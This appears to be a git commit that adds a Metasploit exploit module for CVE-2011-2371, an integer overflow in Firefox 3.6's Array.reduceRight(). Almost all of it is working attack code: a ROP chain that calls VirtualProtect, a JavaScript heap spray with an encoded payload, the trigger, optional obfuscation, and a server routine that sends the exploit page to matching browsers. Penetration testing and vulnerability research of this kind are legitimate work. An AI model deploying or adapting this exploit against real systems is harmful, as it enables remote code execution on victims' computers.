Add CVE-2011-2371 Firefox Array.reduceRight() vuln
git-svn-id: file:///home/svn/framework3/trunk@13909 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
5f9d6e507f
commit
4f4c0bc0be
|
@ -0,0 +1,223 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Mozilla Firefox Array.reduceRight() Integer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
|
||||
array object is configured with a large length value, the reduceRight() method
|
||||
may cause an invalid index being used, allowing abitrary remote code execution.
|
||||
Please note that the exploit requires a longer amount of time (compare to a
|
||||
typical browser exploit) in order to gain control of the machine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'Chris Rohlf', #Matasano Security (Initial discovery according to Mozilla.org)
|
||||
'Yan Ivnitskiy', #Matasano Security (Initial discovery with Chris?)
|
||||
'Matteo Memelli', #PoC from Exploit-DB
|
||||
'dookie2000ca', #"Helping" ryujin (Matteo)
|
||||
'sinn3r', #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-2371'],
|
||||
['URL', 'http://http://www.exploit-db.com/exploits/17974/'],
|
||||
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'PrependEncoder' => "\xbc\x0c\x0c\x0c\x0c",
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
#Windows XP / Vista / 7
|
||||
[ 'Mozilla Firefox 3.6.16', {} ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jun 21 2011",
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def junk
|
||||
return rand_text_alpha(4).unpack("L")[0].to_i
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
agent = request.headers['User-Agent']
|
||||
if agent !~ /Firefox\/3\.6\.[16|17]/
|
||||
vprint_error("This browser is not supported: #{agent.to_s}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
#mona.py tekniq! + Payload
|
||||
rop = [
|
||||
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||
0x7c37a140, # Make EAX readable
|
||||
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
|
||||
0x7c348b06, # EBP (NOP)
|
||||
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||
0x7c37a140, # <- VirtualProtect() found in IAT
|
||||
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
|
||||
0x7c346c0b, # Slide, so next gadget would write to correct stack location
|
||||
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
|
||||
0x7c348b06, # EDI (filler)
|
||||
0x7c348b06, # will be patched at runtime (VP), then picked up into ESI
|
||||
0x7c348b06, # EBX (filler)
|
||||
0x7c376402, # POP EBP # RETN (msvcr71.dll)
|
||||
0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll)
|
||||
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||
0xfffff82f, # size 20001 bytes
|
||||
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
|
||||
0x7c354901, # POP EBX # RETN (MSVCR71.dll)
|
||||
0xffffffff, # pop value into ebx
|
||||
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
|
||||
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
|
||||
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
|
||||
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
|
||||
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
|
||||
0x7c34b8d8, # ROP NOP (-> edi)
|
||||
0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
|
||||
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
|
||||
0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
|
||||
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||
0x90909090, # NOPS (-> eax)
|
||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
|
||||
].pack('V*')
|
||||
|
||||
table = [0x4141].pack('v*')
|
||||
table << [
|
||||
0x0c000048,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
].pack('V*')
|
||||
table << [0x4141].pack('v*')
|
||||
table << [
|
||||
0x7c370eef,
|
||||
junk,
|
||||
].pack('V*')
|
||||
table << [0x4141].pack('v*')
|
||||
table << [
|
||||
0x3410240c,
|
||||
0x0c00007c,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
0x0c00002e
|
||||
].pack('V*')
|
||||
|
||||
p = payload.encoded
|
||||
arch = Rex::Arch.endian(target.arch)
|
||||
js_payload = Rex::Text.to_unescape(rop + p, arch)
|
||||
js_ptrs = Rex::Text.to_unescape(table, arch)
|
||||
|
||||
#Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
|
||||
js = <<-JS
|
||||
var applet = document.getElementById('MyApplet');
|
||||
|
||||
function spray() {
|
||||
var ptrs = unescape("#{js_ptrs}");
|
||||
|
||||
var bheader = 0x12/2;
|
||||
var nullt = 0x2/2;
|
||||
|
||||
var espoffset = (7340 /2) - ptrs.length;
|
||||
var esppadding = unescape("%u0c0c%u0c0c");
|
||||
while(esppadding.length < espoffset) esppadding += esppadding;
|
||||
esppadding = esppadding.substring(0, espoffset);
|
||||
|
||||
var payload = unescape("#{js_payload}");
|
||||
|
||||
var tr_padding = unescape("%u0c0c%u0c0c");
|
||||
while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}
|
||||
|
||||
var dummy = ptrs + esppadding + payload + tr_padding;
|
||||
var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);
|
||||
|
||||
HeapBlocks = new Array()
|
||||
for (i=0;i<0x60;i++){
|
||||
HeapBlocks[i] += hspray;
|
||||
}
|
||||
}
|
||||
spray();
|
||||
obj = new Array;
|
||||
obj.length = 2197815302;
|
||||
f = function trigger(prev, myobj, indx, array) {
|
||||
alert(myobj[0]);
|
||||
}
|
||||
obj.reduceRight(f,1,2,3);
|
||||
JS
|
||||
|
||||
js = js.gsub(/^\t\t/, '')
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
end
|
||||
|
||||
html = <<-HTML
|
||||
<html>
|
||||
<head>
|
||||
</head>
|
||||
<body>
|
||||
<APPLET id="MyApplet" code="trigger.class" width=150 height=50>
|
||||
You need a Java-enabled browser to pwn this.
|
||||
</APPLET>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</body>
|
||||
<html>
|
||||
HTML
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue